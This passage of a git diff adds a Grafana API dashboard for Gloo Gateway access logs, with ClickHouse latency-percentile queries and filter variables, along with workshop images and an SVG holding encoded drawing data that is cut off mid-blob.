gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p50" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.75)(CAST(LogAttributes['response_duration'] AS INT)) as p75\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p75" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.90)(CAST(LogAttributes['response_duration'] AS INT)) as p90\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p90" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.95)(CAST(LogAttributes['response_duration'] AS INT)) as p95\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p95" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.99)(CAST(LogAttributes['response_duration'] AS INT)) as p99\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p99" + }, + { + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "hide": false, + "meta": { + "builderOptions": { + "fields": [], + "limit": 100, + "mode": "list" + } + }, + "queryType": "sql", + "rawSql": "SELECT\n $__timeInterval(Timestamp) AS time,\n quantileExact(0.999)(CAST(LogAttributes['response_duration'] AS INT)) as p999\nFROM\n gloo_api_logs\nWHERE\n $__timeFilter(Timestamp) AND\n LogAttributes['api_id'] IN ($api_id)\nGROUP BY time\nORDER BY time", + "refId": "p999" + } + ], + "title": "Request latency", + "transformations": [ + { + "id": "renameByRegex", + "options": { + "regex": "(.*)", + "renamePattern": "$1" + } + } + ], + "type": "timeseries" + } + ], + "repeat": "api_id", + "repeatDirection": "h", + "title": "API '$api_id' Stats", + "type": "row" + } + ], + "refresh": "", + "schemaVersion": 38, + "style": "dark", + "tags": [], + "templating": { + "list": [ + { + "allValue": "", + "current": { + "selected": true, + "text": [ + "All" + ], + "value": [ + "$__all" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "Select DISTINCT (LogAttributes['api_id'])\nFROM\n gloo_api_logs\nWHERE\n LogAttributes['api_id'] IS NOT NULL AND\n LogAttributes['api_id'] != '' AND\n LogAttributes['api_id'] != ''", + "description": "Api ID", + "hide": 0, + "includeAll": true, + "label": "Api ID", + "multi": true, + "name": "api_id", + "options": [], + "query": "Select DISTINCT (LogAttributes['api_id'])\nFROM\n gloo_api_logs\nWHERE\n LogAttributes['api_id'] IS NOT NULL AND\n LogAttributes['api_id'] != '' AND\n LogAttributes['api_id'] != ''", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "allValue": "", + "current": { + "selected": true, + "text": [ + "gold" + ], + "value": [ + "gold" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "Select DISTINCT(LogAttributes['usage_plan'])\nFROM\n gloo_api_logs\nWHERE\n LogAttributes['usage_plan'] IS NOT NULL AND\n LogAttributes['usage_plan'] != '' AND\n LogAttributes['usage_plan'] != ''", + "description": "Usage Plan", + "hide": 0, + "includeAll": true, + "label": "Usage Plan", + "multi": true, + "name": "usage_plan", + "options": [], + "query": "Select DISTINCT(LogAttributes['usage_plan'])\nFROM\n gloo_api_logs\nWHERE\n LogAttributes['usage_plan'] IS NOT NULL AND\n LogAttributes['usage_plan'] != '' AND\n LogAttributes['usage_plan'] != ''", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "current": { + "selected": true, + "text": [ + "All" + ], + "value": [ + "$__all" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "select distinct(LogAttributes['request_uri']) requestUri from gloo_api_logs", + "description": "Request path", + "hide": 0, + "includeAll": true, + "label": "Request URI", + "multi": true, + "name": "request_uri", + "options": [], + "query": "select distinct(LogAttributes['request_uri']) requestUri from gloo_api_logs", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "current": { + "selected": true, + "text": [ + "All" + ], + "value": [ + "$__all" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "select distinct(LogAttributes['request_command']) as requestCommand from gloo_api_logs", + "hide": 0, + "includeAll": true, + "label": "HTTP Method", + "multi": true, + "name": "http_method", + "options": [], + "query": "select distinct(LogAttributes['request_command']) as requestCommand from gloo_api_logs", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 0, + "type": "query" + }, + { + "current": { + "selected": true, + "text": [ + "All" + ], + "value": [ + "$__all" + ] + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "select distinct(LogAttributes['status_code']) as statusCode from gloo_api_logs", + "hide": 0, + "includeAll": true, + "label": "Status Code", + "multi": true, + "name": "status_code", + "options": [], + "query": "select distinct(LogAttributes['status_code']) as statusCode from gloo_api_logs", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "allValue": "All", + "current": { + "selected": false, + "text": "All", + "value": "$__all" + }, + "datasource": { + "type": "grafana-clickhouse-datasource", + "uid": "clickhouse-access-logs" + }, + "definition": "select distinct(LogAttributes['user_id']) as userId from gloo_api_logs\nwhere userId like '$filter_users%' AND userId != ''\nLIMIT 100", + "hide": 0, + "includeAll": true, + "label": "User ID", + "multi": false, + "name": "user_id", + "options": [], + "query": "select distinct(LogAttributes['user_id']) as userId from gloo_api_logs\nwhere userId like '$filter_users%' AND userId != ''\nLIMIT 100", + "refresh": 1, + "regex": "", + "skipUrlSync": false, + "sort": 1, + "type": "query" + }, + { + "current": { + "selected": false, + "text": "", + "value": "" + }, + "hide": 0, + "label": "Filter Users", + "name": "filter_users", + "options": [ + { + "selected": true, + "text": "", + "value": "" + } + ], + "query": "", + "skipUrlSync": false, + "type": "textbox" + } + ] + }, + "time": { + "from": "now-1h", + "to": "now" + }, + "timepicker": {}, + "timezone": "", + "title": "API Dashboard", + "uid": "db93be88-8cd4-4c32-8a37-83fbca40e3f0", + "version": 1, + "weekStart": "" + } \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/portal/images/.gitkeep b/gloo-mesh/gateway/2-5/airgap/portal/images/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 diff --git a/gloo-mesh/gateway/2-5/airgap/portal/images/gloo-gateway.png b/gloo-mesh/gateway/2-5/airgap/portal/images/gloo-gateway.png new file mode 100644 index 0000000000..71255deb29 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/portal/images/gloo-gateway.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/portal/images/gloo-mesh-enterprise.png b/gloo-mesh/gateway/2-5/airgap/portal/images/gloo-mesh-enterprise.png new file mode 100644 index 0000000000..a14bc9e23f Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/portal/images/gloo-mesh-enterprise.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/portal/images/gloo-mesh-graph.png b/gloo-mesh/gateway/2-5/airgap/portal/images/gloo-mesh-graph.png new file mode 100644 index 0000000000..e17c49c138 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/portal/images/gloo-mesh-graph.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/portal/images/gloo-products.png b/gloo-mesh/gateway/2-5/airgap/portal/images/gloo-products.png new file mode 100644 index 0000000000..f45b1660b9 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/portal/images/gloo-products.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/portal/images/steps/create-bookinfo-workspace/gloo-mesh-workspaces.svg b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/create-bookinfo-workspace/gloo-mesh-workspaces.svg new file mode 100644 index 0000000000..4355dcff7a --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/portal/images/steps/create-bookinfo-workspace/gloo-mesh-workspaces.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZcdTAwMTmW6NtFyPBniuvDXHUwMDA1XHUwMDFhkmUvhcBcdTAwMWHIc4Uwb9LoXT8nXHUwMDFmiomH++NMXHUwMDFkPZ+O27WYw1x1MDAwNUlcdTAwMTbhgpIotnBcdTAwMDFjLmFuJKZFTI5vXHUwMDFlXHUwMDBln8pjzO76z/mXXuG62LRcdTAwMDPSWFdR7F9r2M9X6/5fJOJ0p4nWaY62U0RcXIpcdTAwMWJylMtkRk2++2OpteCCs87/griSRFx1MDAxOT/2XG5nNeHbXHUwMDFmV7wgyVwiXlBK7Vx1MDAxNS/49GvRnGqG8beqidYvXHJcdTAwMWKdWlx1MDAwMF7YkYthicJdxFx1MDAwYn+muFx0XlxiaVx1MDAxZCOJaUYgVqh/dvR+1j1cIp2bzFmmcFx1MDAwYqbw81x0uog5XlBKetxcdTAwMGI8vnhcdTAwMDEgXHUwMDFjJVx1MDAxNO0wknxcdTAwMTO8UFN5/lhCt1xydSpcdTAwMWYmV0f9V/RcdTAwMWHgSV9FXHUwMDAzf61hP/84wf+L/CvxQmCuulx0yVx1MDAxNKZLQXRvaPj+x1x1MDAxNTCA8e5xMNB4OVx1MDAxOFx1MDAxNMPMnHx+K7hgvzXs8ee6XHUwMDE3luhbXHUwMDBmXFz4PcVQ1lx1MDAwYlxmrGI8hPdcdTAwMThcdTAwMTCuXHUwMDE0K+R7hvtgV+K9xfP+XYJ1ri1cdTAwMDS4SCDGXHUwMDA0fGd3bJVExFx1MDAxMkSChlx1MDAwNtREhVx1MDAwZe5cdTAwMWG6KVx1MDAxZipqcSq45EyCtaC0T3RcdTAwMTUjlkaKalx1MDAwNJCBKOplUs2UQpztMSdtWXRcdTAwMTVccuXSiNFV4ad2XHUwMDA380Amk1XBMWJcYjFFhYA9xo53fURXUTnfYLCIfr9jxeiqcL+ge1KmaVx0YTAzLLFcdTAwMDJTzDMpbVx1MDAxMcxcdTAwMTg2Raspk1x1MDAxY2vPnL5UcFUgbZvLQ9Xz4f5yvq4s3ThccvREYI1cdTAwMTVHXFyj6I7TcFxiXHUwMDE4V+mmXHUwMDE4XHUwMDAzXHUwMDE24Fx1MDAxNGmOXHUwMDE4kN2idKOWUkD+SoFoXHUwMDEzu1x1MDAwM1x1MDAxOVJbsOBUmkhekFDKp15cdTAwMDaVltSEScLULCdiUbYxRMBQXHUwMDEyOzzg+FqyXHKkiJJcdTAwMDB7iFZcdTAwMWOD3J9cdTAwMDOSuWhjlslG/L27SPI1U1/CMYl7TphxKcxhOVx1MDAwN8Q4T6Zyzlx0SSqZSWNcdTAwMDJhy+nXTnxcdCRscy2S9IqCLTyIhFx1MDAwNWa+XGKEqIQ5zVHAMtmm3tLvhaNBvUx7zyelq2y2cFiNffPsxY7AXHUwMDAy8Ygxo5/fbFx1MDAxNVRcdTAwMWKmXHUwMDA0aOSn2+qW2mNcdTAwMDeq9ll9O5OJXHUwMDE2mfpfylx1MDAxM6LygEGK04vDW5K+Kuu3oFxiqlx1MDAxOFG/clG/pCqih3NcdTAwMGadVinYV5LENelr941WfZHBXHUwMDA2sj84XCLH1IUhQq5cdTAwMTLZa4+ml5eq+1467Vx1MDAwZYfjI1LjJzfDXHUwMDAw8o+Jh18xd2FcdTAwMThByVx1MDAxNjuvbde9r1x1MDAwNFaSXGJcdTAwMTVPyT+6aNwq2qynzrt1XU2Nn++7LMZNVq/PK5M31rRH9DJ5U8k2mo2H1/ZcdTAwMTbGrZy+PNitdOU8l7rq5juyca2zm/n3d7S8y45ccvxcdTAwMWZcdTAwMThxtoVb0UqlXG5FObrqXHUwMDBlblx1MDAwYjlVfK319yxcYoOrY4VcdTAwMTj3YH1Q6nRWL5OB4ftcdTAwMTRTXGKgXHUwMDE2K+VwXHUwMDE0sTzWflJcdTAwMWJcYueAWqiKb2ZDuFx1MDAwNf+lMlx1MDAxYpZo9Vx1MDAxZGU2hKRcdTAwMWNxojEjfFx1MDAwNav0Pd99S1x1MDAxZGY0te+ei7fv+uXh6nStSjOfXHUwMDA3TIRajDuQ22PJbcdcdTAwMWSAlFx1MDAxNFx1MDAxNNNcdTAwMWTWktxcdTAwMDSZPLzf9PB1rXN/cjvovmfsVIJcdTAwMTTszZHJjob9aoDn7YipciFLKb3rv5zcVOlx/lxybWHcrS/vMsDj/8B9XHUwMDAyk1x1MDAxMFx1MDAxOVxiRrp5noxcdTAwMWXPXHUwMDEwvp4xXHUwMDA1JkLPf/9cdTAwMTXMwFxc5tneg1x1MDAxOUzMvFSE0fiGM+xcdTAwMDCK7CNbYolcdTAwMGXfQbZcdTAwMDRcdTAwMGLug2bOXHUwMDFmTdnWyNxnV3D68bWGqvYh6T8+Plx1MDAxZbXFw2W8XHUwMDExiGKLmVx1MDAxMjS2XGJEm1wixkTq3Vx1MDAxNYPZqOfFRHZHWTI6Stdxlz/xgpqO6psjha817K5wwtanu1xmJ/g/cI84gfKQsi/wPKZXSaxcZl/PmOJcdTAwMDTF3ThBabRXnODNkuBcdTAwMThLRHZYrSqGMGFcdTAwMWZJXHUwMDEyS1x1MDAxNO1cdTAwMGWSJGhcdTAwMThKJ1x1MDAwNCnMouOE/pBcZif49vrptj654+Pi0W3mKlx1MDAxOW+cYHrTuUE6j1pcXH9cdTAwMGZcdTAwMTVcdTAwMTgwXHUwMDE1mjFcdTAwMWPTXHUwMDEyXGa5Qlx1MDAxZmdy2czkKNlcdTAwMWHdTItPT/e3w81179dcdTAwMWF2V0coW5/uMqTg/8Dd46U9IFx1MDAxMLr4V0diuUbI9FiKLFx1MDAwM8P3KaZcYlx1MDAwNKTgPIzql6uCf95cdTAwMTlKXHUwMDE0XGJCXHUwMDEw0oqL7+WpXGJNvNhcdTAwMTFcdTAwMDRZosO3m3jBg0vyXHUwMDEzzDjXRPDoXHUwMDA3JeFO4piGJitFLCy5xMCDilx07Vx1MDAwZeaTiFlKflLeXHUwMDA1JYpyzlx1MDAxMWZU+LXyW5p3gblmXGI4XHUwMDAy7y7AKVx1MDAxNsHJ4YeKXHUwMDA37sRcdTAwMGImiUJUXHUwMDExKVx1MDAwNVx1MDAxNo6U44NtZ16E+1x1MDAx